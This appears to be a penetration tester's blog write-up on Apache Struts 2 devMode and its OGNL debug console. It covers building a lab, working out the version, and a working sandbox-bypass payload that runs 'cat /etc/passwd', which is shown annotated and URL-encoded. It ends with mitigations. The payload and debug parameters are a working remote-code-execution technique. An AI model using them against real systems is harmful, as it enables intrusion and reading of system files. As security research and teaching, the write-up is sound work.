During a recent web application pentest of an application built with Apache Struts 2, I stumbled across an interesting error message while running some scans with Burp Intruder.

	You are seeing this page because development mode is enabled.  Development mode, or devMode, enables extra
	debugging behaviors and reports to assist developers.  To disable this mode, set:
	<pre>
	struts.devMode=false
	</pre>
	in your <code>WEB-INF/classes/struts.properties</code> file.

After some quick Googling, I found this blog post which suggested the target Struts 2 application was running in “Development Mode” (or devMode).

devmode_desc

devMode is a non default configuration that provides additional debugging information and is enabled on a per project basis by setting struts.devMode to true inside the project’s configuration file (struts.xml).

<constant name="struts.devMode" value="true" />

The blog post also referenced the OGNL Console which provides an interactive page for executing OGNL expressions. Navigating to https://{target}/struts/webconsole.html showed the below page.

webconsole

This looked interesting, however, I was encountering a strange issue, I couldn’t enter any commands into the console !

In order to understand the issue better I decided to setup my own lab for some further debugging.

Lab setup

Luckily there is no end of preconfigured Docker containers showcasing all of the various Struts 2 vulnerabilities (and there are a lot of them !).

struts_vulns

Note The numbers listed here (s2-032, s2-021 etc) are not version numbers of Apache Struts but refer to Apache Struts security bulletin numbers.

A security bulletin may affect multiple versions (for example s2-032 affects Struts versions 2.3.20 - 2.3.28).

Although I did not know exactly what version my target was running, with Docker I figured I could quickly cycle through Struts 2 containers until I found one that matched the behavior of the target.

I decided to begin with s2-016 and launched a container with the below commands

docker pull medicean/vulapps:s_struts2_s2-016
docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-016

With the container running, loading http://127.0.0.1:8090/struts2/webconsole.html showed me a familiar page.

webconsole

This was strange to me as my initial assumption was that the OGNL Console should only be accessible when devMode is enabled (which as I mentioned is off by default).

Viewing the contents of the file /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml in my container, I confirmed that devMode was indeed disabled, yet I was still able to access the OGNL Console.

strutsxml.png

As it turns out, the webconsole.html file is a static resource that is accessible by default regardless of whether or not devMode is enabled.

This is the case up until Struts 2 version 2.3.31 where access to the webconsole.html file is blocked unless devMode is enabled.

In order to have my lab environment match the target, I would need to rebuild the container with devMode enabled.

Using the below commands I extracted the bundled sample war file, enabled devMode and then rebuilt the container.

# Clone the Github repo
git clone https://github.com/Medicean/VulApps.git

# Navigate to the s2-016 directory
cd /root/VulApps/s/struts2/s2-016

# Make a temp directory 
mkdir tmp; cd tmp	

# Extract the war file 
jar -xvf ../s2-016.war	

# Modify "WEB-INF/classes/struts.xml" and change devmode to true	

# Repackage the war file
jar -cvf s2-016.war *

# Overwrite the original 
cp s2-016.war ..

# And build the container
cd ..
docker build .

With devMode enabled, triggering an error by accessing http://127.0.0.1:8090/doesnotexist.action presented a similar message to the one returned from the target.

devmode_error

With my lab now setup I was able to move onto debugging the OGNL console issue.

Fixing the OGNL console

Note I should mention that you do not need a working OGNL console in order to execute OGNL commands when devMode is set to true (it just provides a pretty interface for doing so) however, I was curious as to why the OGNL console was broken so I decided to investigate further.

Loading http://127.0.0.1:8090/struts2/webconsole.html and opening up the Firefox developer console, we see that after submitting an OGNL command an error is thrown inside webconsole.js stating that window.opener is null.

window_opener_null

Reviewing the relevant lines from webconsole.js we see the below.

function keyEvent(event, url) {
switch (event.keyCode) {
    case 13:
    var the_shell_command = document.getElementById('wc-command').value;
    if (the_shell_command) {
        commands_history[commands_history.length] = the_shell_command;
        history_pointer = commands_history.length;
        var the_url = url ? url : window.opener.location.pathname;
        jQuery.post(the_url, jQuery("#wc-form").serialize(), function (data) {
        printResult(data);
        });
    }

First the value of window.opener.location.pathname is assigned to the variable the_url.

var the_url = url ? url : window.opener.location.pathname;

This variable then becomes the destination where our form data containing the OGNL command is sent via POST request.

jQuery.post(the_url, jQuery("#wc-form").serialize(), function (data) {
  printResult(data);

The use of window.opener gives us a clue as to how the OGNL console is intended to be interacted with.

window.opener refers to the parent window that loaded the resource, this indicates that the OGNL console is expecting to be loaded via a call to window.open.

As we have loaded the OGNL console directly by force browsing to http://127.0.0.1/struts2/webconsole.html there is no parent window to reference and window.opener remains null

If we take a look at the documentation from Apache regarding the Debugging Interceptor (which is where the OGNL console proxies our requests) we see that the following parameters xml, console, command and browser are available using the format http://localhost:8080/{devMode_endpoint}.action?debug={parameter}

webconsole_docs

After appending ?debug=console to our Struts 2 endpoint configured with devMode enabled http://127.0.0.1:8090/memoindex.action?debug=console the below HTTP response is returned.

webconsole_redirect

This causes a new browser window to be opened with the window.opener.location.pathname variable set correctly to the devMode endpoint.

window_opener

During my lab setup I noticed that the source code of the webconsole.js file changes slightly depending on the version of Struts 2 in use (this would prove to be useful later on).

Older versions make use of the dojo.js library to issue the POST request containing the OGNL commands.

Attempting to use the OGNL console with these older version results in the below error dojo.js is not defined.

dojo_error

To fix this we can modify the webconsole.js file in the browser to use the jQuery library instead (which is what later versions use).

Lines 64 to 69 in webconsole.js

var the_url = url ? url : window.opener.location.pathname;
dojo.io.bind({
      url: the_url,
      formNode: dojo.byId("wc-form"),
      load: function(type, data, evt){ printResult(data); },
      mimetype: "text/plain"
  });

Are replaced with

var the_url = url ? url : window.opener.location.pathname;
jQuery.post(the_url, jQuery("#wc-form").serialize(), function (data) {
  printResult(data);
});

Once all these conditions are met we can interact with the OGNL console to evaluate arbitrary OGNL commands.

In the screenshot below we can see the result of a test 1+1 OGNL command.

webconsole_1plus1

The resulting POST request for this command looks like this.

POST /memoindex.action HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

debug=command&expression=1%2b1

Abusing OGNL for RCE

OGNL is an expression language that allows for getting and setting properties of Java objects.

Most of what you can do in Java is possible in OGNL, however, Struts 2 contains an internal Security Manager which blocks access to certain Java classes and packages, acting as a sort of sandbox for OGNL.

ognl_security

In later Struts 2 versions, a blacklist of classes and packages is also introduced. The list of blacklisted classes can be found in struts-default.xml under struts.devMode.excludedClasses and struts.devMode.excludedPackageNames.

    <constant name="struts.devMode.excludedClasses"
              value="
                java.lang.Object,
                java.lang.Runtime,
                java.lang.System,
                java.lang.Class,
                java.lang.ClassLoader,
                java.lang.Shutdown,
                java.lang.ProcessBuilder,
                sun.misc.Unsafe" />
    <constant name="struts.devMode.excludedPackageNames"
              value="
                ognl.,
                java.io.,
                java.net.,
                java.nio.,
                javax.,
                freemarker.core.,
                freemarker.template.,
                freemarker.ext.jsp.,
                freemarker.ext.rhino.,
                sun.misc.,
                sun.reflect.,
                javassist.,
                org.apache.velocity.,
                org.objectweb.asm.,
                org.springframework.context.,
                com.opensymphony.xwork2.inject.,
                com.opensymphony.xwork2.ognl.,
                com.opensymphony.xwork2.security.,
                com.opensymphony.xwork2.util." />

Depending on the version of Struts 2 in use, a number of bypasses exist that allow for execution of OGNL code without restriction.

A fantastic summary of these bypasses and the Struts 2 versions they affect can be found here.

Determining the target’s Struts 2 version

As I mentioned earlier, depending on the Struts 2 version in use the content of the webconsole.js file varies slightly. We can use this information to our advantage to help identify the target’s Struts 2 version.

Looking at the tags on the Apache Struts Github history, we see that the version of the webconsole.js file as it appears on the target was introduced with STRUTS_2_1_1.

github_versions.png

github_versions_3.png

This version is then later modified and tagged with 2_5_BETA2.

github_versions_2.png

github_versions_4.png

Based on this observation we know that the target Struts 2 version must be somewhere between 2.1.1 and 2.5.2.

Reading through the OGNL bypasses in the link above, we can see a number of OGNL security bypasses that will work on the below Struts 2 versions.

  • Below 2.3.20
  • 2.3.20 - 2.3.29
  • 2.3.30 - 2.5.15
  • 2.5.16

Although we do not know the exact Struts 2 version in use on the target, we can iterate through each of the bypasses listed in the link above (for versions 2.1.1 through to 2.5.2) until we find one that works.

In order to debug the OGNL sandbox escape separately to our command execution payload, we can first try to call a method which should be blocked to determine if the sandbox escape was successful before continuing with our payload.

Incidentally, the OGNL Console provides a handy interface for debugging our payloads.

Struts 2 (Before 2.3.20)

As the class blacklist was not introduced until after 2.3.20, we can simply try to instantiate an arbitrary class and observe the result.

#test=new java.lang.ProcessBuilder('id')

ognl_1.png

In this case null is returned, so we can assume the version in use here is later than 2.3.20.

Struts 2 (2.3.20 - 2.3.29)

From 2.3.20 onwards the blacklist is introduced preventing access to certain classes and packages.

We can first try to bypass the OGNL security manager by reassigning the #_memberAccess object to DefaultMemberAccess. This object is less restrictive than memberAccess and allows us to construct arbitrary classes and access their public methods.

We can then attempt to call a method on one of the blacklisted classes (such as java.lang.Runtime).

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
@java.lang.Runtime@getRuntime().availableProcessors()

ognl_3.png

This time we are successful and are able to abuse the OGNL security bypass to call a method on a restricted class !

Based on this result, we can assume the target Struts 2 version is somewhere between 2.3.20 and 2.3.29.

Now that we have escaped the OGNL sandbox, we can continue building the rest of our payload to execute arbitrary Java code.

After some testing in the lab, I settled on the below payload

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,   # bypass security manager by reassigning the #_memberAccess object to DefaultMemberAccess (Struts 2 versions 2.3.20 - 2.3.29)
#cmd="cat /etc/passwd",#cmds={"/bin/bash","-c",#cmd},     # build our command
#p=new java.lang.ProcessBuilder(#cmds),                   # pass our commands args to processBuilder
#p.redirectErrorStream(true),                             # ensure we capture stderr output from our command
#process=#p.start(),                                      # start the process        
#b=#process.getInputStream(),                             # get the process input stream (the commands output)
#c=new java.io.InputStreamReader(#b),                     # create inputStream for process input stream
#d=new java.io.BufferedReader(#c),                        # create bufferedReader for process input stream
#e=new char[50000],                                       # allocate char array 
#d.read(#e),                                              # read 50000 bytes from process input stream  
#rw=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),  # Get a handle to the getWriter object to write data into the HTTP response
#rw.println(#e),                                          # write the InputStream of our command (the commands output) into the response
#rw.flush()                                               # flush any remaining data

With newlines and comments removed and data converted to Unicode we get the following

%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23cmd%3D%22cat%20%2Fetc%2Fpasswd%22%2C%23cmds%3D%7B%22%2Fbin%2Fbash%22%2C%22-c%22%2C%23cmd%7D%2C%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%2C%23p.redirectErrorStream%28true%29%2C%23process%3D%23p.start%28%29%2C%23b%3D%23process.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23rw%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2C%23rw.println%28%23e%29%2C%23rw.flush%28%29

After confirming the payload was working as expected, I pointed Burp at the target server and sent off the below request

etcpasswd_target

And was greeted with the below response.

etcpasswd_target

Mitigations

Ensure devMode is disabled for all public facing Struts 2 applications. The below setting should be set within the struts.xml file for all production deployments.

<constant name ="struts.devMode" value="false" />

Summary / FAQ

Is having the OGNL console exposed externally a security vulnerability ?

No, however its presence may indicate an outdated version of Apache Struts 2 is in use. Access to the OGNL console was removed by default starting from version 2.3.31, unless devMode is enabled (see here).

Does the presence of the webconsole.html file on the server indicate that devMode is enabled for any Struts endpoints ?

No, by default in versions of Apache Struts 2 less than 2.3.31 the webconsole.html is accessible regardless of whether or not devMode is enabled for any Struts endpoints.

How do I determine if a given Struts 2 endpoint is configured with devMode enabled

By appending ?debug=console to a given struts endpoint and observing the HTTP response, if devMode is enabled you will receive the below in the HTTP response.

<script type="text/javascript">
var baseUrl = "/struts";
window.open(baseUrl+"/webconsole.html", 'OGNL Console','width=500,height=450,status=no,toolbar=no,menubar=no');
</script>    

If devMode is enabled for a struts endpoint, is access to the OGNL console required in order to execute OGNL commands ?

No, arbitrary OGNL commands can still be executed by appending ?debug=command&expression=OGNL_COMMAND to the endpoint with devMode enabled.

References